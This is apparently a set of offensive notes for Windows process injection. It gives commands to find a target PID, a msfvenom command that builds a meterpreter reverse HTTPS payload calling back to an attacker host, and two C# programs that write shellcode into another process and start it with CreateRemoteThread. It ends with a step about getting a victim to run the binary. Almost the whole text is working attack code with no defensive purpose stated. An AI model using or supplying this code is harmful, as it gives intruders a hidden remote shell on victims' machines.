Process Injection to Another Program Reverse Shell

1) Find the PID of the process that we want to inject

tasklist /FI "IMAGENAME eq [PROGRAM_CHOSEN].exe"

OR

Get-Process | Where-Object {$_.Path -like "*[PROGRAM_CHOSEN].exe*"}

2) Generate shellcode

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[ATTACKER_IP] LPORT=[PORT] EXITFUNC=thread -f csharp

3) Create new VS Project

New Project > .NET Standard Console App

4) Inject shellcode and PID into code

using System;
using System.Runtime.InteropServices;

namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        static void Main(string[] args)
        {
            // Replace the PID
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, [PID]);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

            // Replace the shellcode
            byte[] buf = new byte[591] {
            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            ....
            0x0a,0x41,0x89,0xda,0xff,0xd5 };
                        IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        }
    }
}

Alternate option to find the PID Dynamically

using System;
using System.Runtime.InteropServices;


namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        static void Main(string[] args)
        {
            // Find the PID by Name: eg. explorer
            Process[] expProc = Process.GetProcessesByName("[PROGRAM_CHOSEN]");
            int pid = expProc[0].Id;
            
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

            // Replace the shellcode
            byte[] buf = new byte[591] {
            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            ....
            0x0a,0x41,0x89,0xda,0xff,0xd5 };
                        IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        }
    }
}

5) Compile for release

6) Find a way for the user to execute this code